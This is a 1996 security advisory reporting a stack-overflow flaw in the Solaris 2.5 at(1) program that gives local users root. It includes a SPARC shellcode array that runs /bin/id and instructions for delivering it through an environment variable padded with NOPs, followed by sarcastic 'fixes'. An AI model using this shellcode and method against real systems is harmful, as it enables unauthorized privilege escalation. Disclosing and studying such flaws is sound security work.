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- r00t advisory [ sol 2.5 at(1) ]
- [ Aug 24 1996 ]
-
- -- Synposis
- There exists a vunerability in the at(1) program that will allow any user
- to execute arbitray commands as r00t. The at program will gladly overflow
- it's stack with whatever data is passed to it on the command line.
-
- -- Exploitability
- r00t has tested this vunerability and successfully run the id(1) program as
- euid r00t from a non root account. By making an environment variable contain
- native machine code and passing it as a paramater to the at(1) program you
- may force at to execute your code as r00t.
-
- Machine code such as the following makes a fine example:
- unsigned exec[INSTRUCTIONS]= {
- 0x9fc0202c,
- 0xc0247ff5,
- 0xe227bff0,
- 0xc027bff4,
- 0x9207bff0,
- 0x901d200a,
- 0x901a200a,
- 0x8210203b,
- 0x91d02008,
- 0x82102001,
- 0x91d02008,
- 0xa3c3e004
- };
- char *cmd="/bin/id";
-
- For this exploit to work a malicous hacker would have to fill an environ
- variable with garbage (well, nops or equiv), and the above machine code
- followed immediately by the cmd string.
-
- -- Fixes ?
-
- In the spirit of past advisories, our first suggestion is to downgrade to a
- UNIX so old that it doesn't yet contain the at(1) feature. If that is not
- a viable option for you, then perhaps you should just chmod 755 /bin/at.
-
- r00t -- moving at the speed of business.
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